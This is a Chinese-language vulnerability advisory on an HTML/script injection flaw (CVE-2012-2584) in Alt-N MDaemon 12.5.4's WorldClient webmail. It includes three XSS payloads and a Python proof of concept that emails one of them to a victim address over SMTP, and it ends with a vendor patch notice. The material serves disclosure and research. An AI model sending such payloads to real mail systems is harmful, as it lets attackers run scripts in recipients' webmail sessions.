Alt-N MDaemon Body HTML代码注入漏洞


发布日期：2012-08-08
更新日期：2012-08-22

受影响系统：
Alt-N MDaemon Free 12.5.4
描述：
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BUGTRAQ  ID: 54885
CVE ID: CVE-2012-2584

Alt-N MDaemon是一款基于Windows的邮件服务程序，WorldClient是其客户端。

Alt-N MDaemon 12.5.4及其他版本在实现上存在XSS漏洞，通过邮件体内的CSS表达式属性和IMG元素STYLE属性内CSS注释、CSS表达式属性和多个CSS注释、XML文档中的innerHTML属性，远程攻击者可注入任意Web脚本或HTML到受影响站点。

<*来源：loneferret
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Daniel Kazimirow （）提供了如下测试方法：

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: Alt-N MDaemon Free
Version: 12.5.4
Vendor Site: http://www.altn.com/
Software Download: http://www.altn.com/Downloads/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
18 Jul 2012: Vendor requests additional information from CERT. CERT advises vendor to contact the researcher.
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8

Injection Point: Body
Injection Payload(s):
1: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
2: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
3: <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>

'''

import smtplib, urllib2

payload = """<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

建议：
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厂商补丁：

Alt-N
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.altn.com

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